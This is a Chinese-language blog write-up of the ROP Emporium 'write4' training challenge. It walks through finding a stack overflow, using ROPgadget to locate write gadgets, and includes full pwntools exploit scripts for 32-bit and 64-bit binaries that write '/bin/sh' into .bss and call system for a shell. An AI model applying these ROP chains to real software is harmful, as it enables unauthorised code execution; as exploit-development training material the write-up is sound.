write4

ropemporium上的鏈接
https://ropemporium.com/

32位

checksec后試運(yùn)行


32位ida


main函數(shù)

pwnme函數(shù)

發(fā)現(xiàn)棧溢出漏洞

再次發(fā)現(xiàn)usefulFunction,找到system在plt地址為0x08048430,但是參數(shù)不對



shift+F12找字符串,發(fā)現(xiàn)沒有想要的


那我們就試著把"sh"寫進(jìn)去bss段(好像說data段也行),因?yàn)?2位是4個字節(jié),不能一次性傳入/bin/sh,當(dāng)然也可以傳入/bin/sh,只是要分兩次,可以參考
http://www.itdecent.cn/p/d385e23b2a94
http://www.itdecent.cn/p/d1059b77d018

ida里ctrl+s可以查看data段和bss段的權(quán)限


終端時輸入命令

ROPgadget --binary write432 --only "mov|pop|ret"


用ROPgadget找到了兩條指令

0x08048670 : mov dword ptr [edi], ebp ; ret
0x080486da : pop edi ; pop ebp ; ret

第一條指令 edi 存的是bss 段的地址,ebp 存的是要寫入的數(shù)據(jù)
第二條指令是指將 ebp 中的內(nèi)容寫到 edi 內(nèi)存的所在地址

腳本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write432')
p = process('./write432')

system_plt = 0x08048430#system_plt = elf.plt['system']
bss = 0x0804A040#bss = elf.bss()
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670

payload = ''
payload += 0x28*'A'
payload += p32(0)
payload += p32(pop_edi_ebp)
payload += p32(bss)
payload += 'sh\x00\x00'
payload += p32(mov_edi_ebp)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)

p.sendline(payload)
p.interactive()
成功

64位

64位大同小異
輸入命令

ROPgadget --binary write4 --only "mov|pop|ret"

我們選用這兩條指令,同時控制r14和r15

0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret

還要用到pop rdi;ret;

0x0000000000400893 : pop rdi ; ret

腳本如下

#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./write4')
p = process('./write4')

system_plt = elf.plt['system']
bss = elf.bss()
pop_r14_r15 = 0x400890
mov_r14_r15 = 0x400820
pop_rdi = 0x400893

payload = ''
payload += 0x20*'A'
payload += p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss)
payload += '/bin/sh\x00'
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)

p.sendline(payload)
p.interactive()
成功
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 64位 我們照常來check一下保護(hù) 依舊是堆棧不可執(zhí)行保護(hù) 然后為了防止最后忘記這一步,我們先爆個字符串大小先 ...
    YeeZi_閱讀 513評論 0 0
  • 32位checksec,開了NX 所以需要在 bss 段或者 data 段寫入 /bin/sh 字符串,Ctrl+...
    y1deer閱讀 1,258評論 0 0
  • 1.觀察有沒有system沒有/bin/sh ,我們可以嘗試想bss或者date段寫入/bin/sh.,使用plt...
    Zero_0_0閱讀 477評論 0 0
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys閱讀 3,516評論 0 2
  • --263天 標(biāo)準(zhǔn)化對我的收獲: 1,標(biāo)準(zhǔn)化,讓我自己充分了解我的崗位流程職責(zé)的同時,也能快速的了解其他的崗位...
    Alina_qi閱讀 106評論 0 1

友情鏈接更多精彩內(nèi)容